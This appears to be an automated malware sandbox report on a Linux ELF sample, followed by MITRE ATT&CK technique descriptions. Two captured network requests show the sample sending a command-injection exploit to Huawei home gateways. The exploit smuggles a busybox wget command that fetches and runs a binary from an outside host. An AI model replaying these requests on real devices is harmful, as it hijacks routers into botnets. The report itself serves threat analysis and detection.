Oct 2, 2024 18:20:45.589710951 CEST	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 469 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Oct 2, 2024 18:20:45.822943926 CEST	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 469 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Start time (UTC):	16:20:41
Start date (UTC):	02/10/2024
Path:	/tmp/gmpsl.elf
Arguments:	/tmp/gmpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre